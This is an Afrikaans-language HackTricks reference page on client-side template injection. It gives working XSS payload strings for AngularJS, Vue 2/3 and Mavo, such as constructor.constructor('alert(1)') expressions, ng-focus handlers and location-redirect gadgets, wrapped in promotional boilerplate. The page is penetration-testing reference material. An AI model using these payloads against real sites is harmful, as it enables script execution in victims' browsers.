6.8 KiB
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Opsomming
Dit is soos 'n Bedienerkant-sjablooninspuiting maar in die kliënt. Die SSTI kan jou toelaat om kode uit te voer op die afgeleë bediener, die CSTI kan jou toelaat om arbitrêre JavaScript-kode in die slagoffer se blaaier uit te voer.
Toetsing vir hierdie kwesbaarheid is baie soortgelyk as in die geval van SSTI, die tolk verwag 'n sjabloon en sal dit uitvoer. Byvoorbeeld, met 'n lading soos {{ 7-7 }}
, as die program kwesbaar is, sal jy 'n 0
sien, en indien nie, sal jy die oorspronklike sien: {{ 7-7 }}
AngularJS
AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur aantekeninge bekend as riglyne, 'n noemenswaardige een is ng-app
. Hierdie riglyn maak dit vir AngularJS moontlik om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhakies moontlik maak.
In scenario's waar gebruikersinvoer dinamies in die HTML-lyf ingevoeg word met ng-app
gemerk, is dit moontlik om arbitrêre JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die inset te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Jy kan 'n baie basiese aanlynvoorbeeld van die kwesbaarheid in AngularJS vind by http://jsfiddle.net/2zs2yv7o/ en in Burp Suite Academy
{% hint style="danger" %}
Angular 1.6 het die sandput verwyder so vanaf hierdie weergawe behoort 'n lading soos {{constructor.constructor('alert(1)')()}}
of <input ng-focus=$event.view.alert('XSS')>
te werk.
{% endhint %}
VueJS
Jy kan 'n kwesbare Vue-implementering vind by https://vue-client-side-template-injection-example.azu.now.sh/
Werkende lading: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
En die bronkode van die kwesbare voorbeeld hier: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
'n Werklik goeie pos oor CSTI in VUE kan gevind word op https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Krediet: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Krediet: Mario Heiderich
Kyk na meer VUE-pakkette in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Pakkie:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Meer payloads in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.